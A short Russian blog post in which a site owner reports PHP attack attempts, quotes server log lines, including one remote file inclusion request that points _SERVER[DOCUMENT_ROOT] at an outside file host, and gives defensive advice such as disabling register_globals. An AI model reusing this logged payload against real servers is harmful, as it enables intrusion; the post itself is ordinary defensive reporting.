Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.
/var/log/messages:
Oct 4 03:23:34 220 suhosin[28420]: ALERT — tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)
Пример запроса (из лога апача):
211.111.213.195 — — [05/Oct/2009:08:26:22 +0300] «GET //?_SERVER[DOCUMENT_ROOT]=https://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1» 302 — «-» «Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)»
Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.
Как защититься?
a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.